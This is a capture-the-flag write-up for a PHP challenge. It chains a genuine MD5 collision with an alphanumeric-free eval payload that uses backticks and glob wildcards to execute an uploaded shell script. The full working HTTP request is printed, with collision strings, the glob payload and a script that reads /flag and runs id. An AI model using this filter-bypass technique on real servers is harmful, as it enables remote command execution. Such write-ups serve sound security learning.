My first submission to pwnhub — I hope to join this excellent community of ours!
1. Prologue: A True MD5 Collision
The challenge:
<?php
error_reporting(0);
highlight_file(__FILE__);
if ((string)$_GET['x'] !== (string)$_GET['y'] && md5($_GET['x']) === md5($_GET['y'])) {
if(!isset($_GET['shell'])){
echo "Attack me!";
} else {
$shell = $_GET['shell'];
if(!preg_match("/[a-zA-Z0-9_$@]+/",$shell)){
eval($shell);
} else {
die('No,No,No! Keep it up......');
}
}
} else {
die("No, way!");
}
?>
The MD5 check:
Without relying on weak typing, make md5(x) and md5(y) equal while x and y differ — a classic, well-worn topic.
Searching Bing for [md5 collision -"弱类型"] (i.e., excluding “weak typing”) turned up this page: MD5 Collision Demo

A quick hex2bin and urlencode to fix up the format:

http://121.40.89.206:8100/?&x=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap
&
y=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap
The first condition is satisfied; on to the second bypass.

2. Breakthrough: glob Expressions
(1) Code execution?
eval gives code execution, but the regex restricts the character set. In essence, it boils down to this:

See: https://regex101.com/r/oIJbxL/1
An alphanumeric-free webshell — a classic topic! But this scenario differs slightly, with two key points:
- Backticks are allowed
$is not allowed
So although techniques like (negation / XOR / string concatenation / character increment) are still usable — e.g. ''.[] = 'Array' — any arbitrary string can be constructed.
But without $, how do you call a function? (Note the challenge runs PHP 5, so the ($function)() calling style is unavailable.)
So I dug into more references, and during my lunch break I found the article “SCU-CTF HomePage — Command Execution: Recommended Good Reads ¶” (y4 yyds), which is how I cracked this challenge.
(2) Command execution!
After reading phithon’s article “Advanced Webshells Without Letters or Numbers | leavesongs”, I identified the main difference from the article: @ is filtered here, so another approach is needed.
To follow along precisely, I set up a local test environment:
# Simulate a /tmp/phpSessoo
touch /tmp/phpSessoo
Actually, checking the ASCII table, you can just swap @ for a nearby character (it only needs to come before A):

I went with the question mark: ? — and the match succeeds:

The final payload:
POST /?shell=?><?=`.+/???/???[?-[]?????`;?>&x=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap&y=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap HTTP/1.1
Host: 121.40.89.206:8100
Content-Length: 189
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeU7iiC6HdkUDXKn1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryeU7iiC6HdkUDXKn1
Content-Disposition: form-data; name="file"; filename="1.txt"
#!/bin/sh
ls / && cat /flag && id
------WebKitFormBoundaryeU7iiC6HdkUDXKn1--
bingo
